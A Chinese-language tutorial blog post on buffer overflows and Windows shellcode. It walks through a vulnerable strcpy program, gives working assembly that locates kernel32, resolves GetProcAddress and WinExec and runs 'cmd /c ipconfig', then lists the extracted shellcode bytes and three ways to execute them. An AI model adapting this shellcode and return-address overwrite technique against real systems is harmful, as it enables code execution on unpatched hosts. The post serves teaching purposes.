Shellcode的原理及编写
1.shellcode原理
Shellcode实际是一段代码(也可以是填充数据),是用来发送到服务器利用特定漏洞的代码,一般可以获取权限。另外,Shellcode一般是作为数据发送给受攻击服务的。 Shellcode是溢出程序和蠕虫病毒的核心,提到它自然就会和漏洞联想在一起,毕竟Shellcode只对没有打补丁的主机有用武之地。网络上数以万计带着漏洞顽强运行着的服务器给hacker和Vxer丰盛的晚餐。漏洞利用中最关键的是Shellcode的编写。由于漏洞发现者在漏洞发现之初并不会给出完整Shellcode,因此掌握Shellcode编写技术就显得尤为重要。
如下链接是shellcode编写的基础,仅供参考
http://blog.chinaunix.net/uid-24917554-id-3506660.html
缓冲区溢出的shellcode很多了,这里重现下缓冲区溢出。
int fun(char *shellcode)
{char str[4]="";//这里定义4个字节strcpy(str,shellcode);//这两个shellcode如果超过4个字节,就会导致缓冲区溢出printf("%s",str);return 1;
}
int main(int argc, char* argv[])
{char str[]="aaaaaaaaaaaaaaaaaaa!";fun(str);return 0;
}
如上程序,会导致缓冲区溢出。
程序运行后截图如下
如上可以看出来,异常偏移是61616161,其实自己观察61616161其实就是aaaa的Hex编码
因为调用函数的过程大致是 1:将参数从右到左压入堆栈 2:将下一条指令的地址压入堆栈 3:函数内部的临时变量申请 4:函数调用完成,退出
内存栈区从高到低
[参数][ebp][返回地址][函数内部变量空间]
如上程序,如果函数内部变量空间比较小,执行strcpy时候,源字符串比目标字符串长,就会覆盖函数返回地址,导致程序流程变化
如图
0048FE44前四个00是str申请的四个字节的并初始化为00,后面的48FF1800是函数的返回地址,再后面的411E4000是ebp,既调用函数的基址。
再往下执行strcpy函数后,可以看见aaaaaaaa覆盖了返回地址
如图
可以看见0018FF44地址后面的函数返回地址和ebp都被61填充了。
fun函数执行完后,返回调用fun函数地址时候,导致程序报错。
缓冲区溢出的简单讲解如上,这时候,如果我们把返回地址改成我们自己的函数地址,不就可以执行我们自己的程序了?
缓冲区溢出利用就是把返回地址改成我们自己的函数地址,上面的方法就是覆盖eip,既返回地址,还有一种方法是覆盖SHE,原理差不多。
了解了基本原理,下面可以编写利用的代码
缓冲区溢出,基本的使用方法是jmp esp,覆盖的eip指针是jmp esp的地址,利用的字符串结构如下
[正常的字符串][jmp esp的地址][执行的代码(shellcode)]
关于获取jmp esp的代码,可以自己写个程序,从系统中查找jmp esp代码0xFFE4。
下面开始编写shellcode以及调用实现
void fun()
{__asm{mov eax, dword ptr fs:[0x30];mov eax, dword ptr [eax+0xC];mov eax, dword ptr [eax+0xC];mov eax, dword ptr [eax];mov eax, dword ptr [eax];mov eax, dword ptr [eax+0x18];mov ebp,eax //Kernel.dll基址mov eax,dword ptr ss:[ebp+3CH] // eax=PE首部mov edx,dword ptr ds:[eax+ebp+78H] //add edx,ebp // edx=引出表地址mov ecx,dword ptr ds:[edx+18H] // ecx=导出函数个数,NumberOfFunctionsmov ebx,dword ptr ds:[edx+20H] //add ebx,ebp // ebx=函数名地址,AddressOfName
start: //dec ecx // 循环的开始mov esi,dword ptr ds:[ebx+ecx*4] //add esi,ebp //mov eax,0x50746547 //cmp dword ptr ds:[esi],eax // 比较PteGjnz start //mov eax,0x41636F72 //cmp dword ptr ds:[esi+4],eax // 比较Acor,通过GetProcA几个字符就能确定是GetProcAddressjnz start //mov ebx,dword ptr ds:[edx+24H] //add ebx,ebp //mov cx,word ptr ds:[ebx+ecx*2] //mov ebx,dword ptr ds:[edx+1CH] //add ebx,ebp //mov eax,dword ptr ds:[ebx+ecx*4] //add eax,ebp // eax 现在是GetProcAddress地址mov ebx,eax // GetProcAddress地址存入ebx,如果写ShellCode的话以后还可以继续调用push 0 //push 0x636578 //push 0x456E6957 // 构造WinExec字符串push esp //push ebp // ebp是kernel32.dll的基址 call ebx // 用GetProcAdress得到WinExec地址mov ebx,eax // WinExec地址保存到ecxpush 0x00676966push 0x6E6F6370push 0x6920632Fpush 0x20646d63 //cmd压入栈lea eax,[esp]; //取到cmd首地址push 1 //push eax // ASCII "cmd /c ipconfig"call ebx // 执行WinExec// leave // 跳回原始入口点}
}
int main(int argc, char* argv[])
{fun();
}
如果汇编代码在vc调试下,获取二进制代码如图:
查看00401A08的地址,可以看出是fun函数的汇编代码
shellcode代码基本获取到了,现在是要把他复制出来,
我取出来的后,如下
unsigned char shellcode[]={0x64,0xA1,0x30,0x00,0x00,0x00,0x8B,0x40,0x0C,0x8B,0x40,0x0C,0x8B,0x00,0x8B,0x00,0x8B,0x40,0x18,0x8B,0xE8,0x36,0x8B,0x45,0x3C,0x3E,0x8B,0x54,0x28,0x78,0x03,0xD5,0x3E,0x8B,0x4A,0x18,0x3E,0x8B,0x5A,0x20,0x03,0xDD,0x49,0x3E,0x8B,0x34,0x8B,0x03,0xF5,0xB8,0x47,0x65,0x74,0x50,0x3E,0x39,0x06,0x75,0xEF,0xB8,0x72,0x6F,0x63,0x41,0x3E,0x39,0x46,0x04,0x75,0xE4,0x3E,0x8B,0x5A,0x24,0x03,0xDD,0x66,0x3E,0x8B,0x0C,0x4B,0x3E,0x8B,0x5A,0x1C,0x03,0xDD,0x3E,0x8B,0x04,0x8B,0x03,0xC5,0x8B,0xD8,0x6A,0x00,0x68,0x78,0x65,0x63,0x00,0x68,0x57,0x69,0x6E,0x45,0x54,0x55,0xFF,0xD3,0x8B,0xD8,0x68,0x66,0x69,0x67,0x00,0x68,0x70,0x63,0x6F,0x6E,0x68,0x2F,0x63,0x20,0x69,0x68,0x63,0x6D,0x64,0x20,0x8D,0x04,0x24,0x6A,0x01,0x50,0xFF,0xD3};
稍作了下加工,0x是HEX的方式。
下面是我们调用shellcode,看是否可以用
程序如下:
int main(int argc, char* argv[])
{unsigned char shellcode[]={0x64,0xA1,0x30,0x00,0x00,0x00,0x8B,0x40,0x0C,0x8B,0x40,0x0C,0x8B,0x00,0x8B,0x00,0x8B,0x40,0x18,0x8B,0xE8,0x36,0x8B,0x45,0x3C,0x3E,0x8B,0x54,0x28,0x78,0x03,0xD5,0x3E,0x8B,0x4A,0x18,0x3E,0x8B,0x5A,0x20,0x03,0xDD,0x49,0x3E,0x8B,0x34,0x8B,0x03,0xF5,0xB8,0x47,0x65,0x74,0x50,0x3E,0x39,0x06,0x75,0xEF,0xB8,0x72,0x6F,0x63,0x41,0x3E,0x39,0x46,0x04,0x75,0xE4,0x3E,0x8B,0x5A,0x24,0x03,0xDD,0x66,0x3E,0x8B,0x0C,0x4B,0x3E,0x8B,0x5A,0x1C,0x03,0xDD,0x3E,0x8B,0x04,0x8B,0x03,0xC5,0x8B,0xD8,0x6A,0x00,0x68,0x78,0x65,0x63,0x00,0x68,0x57,0x69,0x6E,0x45,0x54,0x55,0xFF,0xD3,0x8B,0xD8,0x68,0x66,0x69,0x67,0x00,0x68,0x70,0x63,0x6F,0x6E,0x68,0x2F,0x63,0x20,0x69,0x68,0x63,0x6D,0x64,0x20,0x8D,0x04,0x24,0x6A,0x01,0x50,0xFF,0xD3};//三种方式执行shellcode//第一种((void (*)())&shellcode)(); // 执行shellcode//第二种__asm { lea eax,shellcode; jmp eax; } //第三种__asm{lea eax, shellcodepush eaxret }
}
至此,shellcode的编写完成了,如上这只是shellcode大致编写过程,是在windows下环境编写的,linux环境下的编写过程基本相同
至于更高级的利用,可以去看雪论坛逛逛。
时间的步伐有三种:未来姗姗来迟,现在像箭一样飞逝,过去永远静立不动.务请珍惜
Shellcode的原理及编写相关推荐
- 孙鑫vc++ 第六课 笔记 菜单的工作原理及编写应用
菜单的工作原理及编写应用 今天赶了2场酒,累死了,但还是坚持看完了第6课,写了点笔记,大家鼓励鼓励嘛,不要看看就走了 1.菜单如果选择了pop-up属性,是不能响应命令的 菜单idm_test- ...
- 微机原理:编写一个源程序,在键盘上按一个键,将从AL返回的ASCII码值显示出来,如果按下ESC键则程序退出。
微机原理:编写一个源程序,在键盘上按一个键,将从AL返回的ASCII码值显示出来,如果按下ESC键则程序退出. DATAS SEGMENT msg db 'Input ',0dh,0ah,'$' te ...
- rootkit原理与编写教程
rootkit原理与编写教程 rootkit原理 rootkit介绍 windows下rootkit编写 windows编程技术 Linux下rootkit编写 rootkit原理 rootkit介绍 ...
- ShellCode原理以及编写
0x0 ShellCode编写注意事原理 1)不能使用字符串的直接偏移 即使你在C/C++代码中定义一个全局变量,一个取值为"Hello world"的字符串, 或直接把该字符串作 ...
- nmap脚本(nse)原理和编写
Nmap脚本引擎原理 一.NSE介绍 虽然Nmap内嵌的服务于版本探测已足够强大,但是在某些情况下我们需要多伦次的交互才能够探测到服务器的信息,这时候就需要自己编写NSE插件实现这个功能.NSE插件能 ...
- shellcode的简介和编写
好坑,我已经写了好久的文章,浏览器刚刚突然崩溃了,再恢复就没有了...CSDN竟然没有自动保存的功能...哎,疲惫了,前面关于shellcode简介的地方就不再详细介绍了,参见文章: https:// ...
- 一文彻底搞清Linux中块设备驱动的深层次原理和编写方法
[摘要]本文主要讲述了在Linux环境下的块设备驱动的常见数据结构和内核接口,并以一个实际例子讲述了块设备驱动的编写方法. 1.前提知识 一个块驱动提供对块存储设备(比如 SD 卡.EMMC.NAND ...
- shellcode学习总结
shellcode Shellcode实际是一段代码(也可以是填充数据),是用来发送到服务器利用特定漏洞的代码,一般可以获取权限.另外,Shellcode一般是作为数据发送给受攻击服务器的. Shel ...
- windows 平台shellcode编写
0x00.介绍 比方说你手头上有一个IE或FlashPlayer现成的漏洞利用代码,但它只能够打开计算器calc.exe.但是这实际上并没有什么卵用,不是吗?你真正想要的是可以执行一些远程命令或实现其 ...
最新文章
- 亚马逊给创业者5条建议:开会杜绝PPT
- 通过简单的Word Count讲解MapReduce原理以及Java实现
- 89. Gray Code - LeetCode
- 掌握常见的内部排序方法(插入排序,冒泡排序,选择排序,快速排序,堆排序,希尔排序,归并排序,基数排序等)...
- vue ---- webpack -插件 html-webpack-plugin
- spark structured stream的Append模式例子
- MySQL 基本信息的查询(初始化配置信息 my.ini)
- 常用类字符串详解大全String
- android swf 播放器 源码,Android 9.0 flash播放器播放swf源码讲解
- 纯php实现中秋博饼游戏(1):绘制骰子图案
- CentOS6启用密钥登陆
- android tv 下载地址,Android TV获取所有的应用apk
- SOM神经网络、LVQ神经网络、CPN神经网络与Python实现
- vs code 让界面占满全屏的快捷键
- nagios监控系统环境部署安装(LAMP环境)
- 百度表格识别——原理解读
- mezzanine timezone 的问题
- 数字华容道 逆时针
- 散列表--双散列、再散列与可扩散列
- zabbix部署+grafana7.2采集数据(时下新版)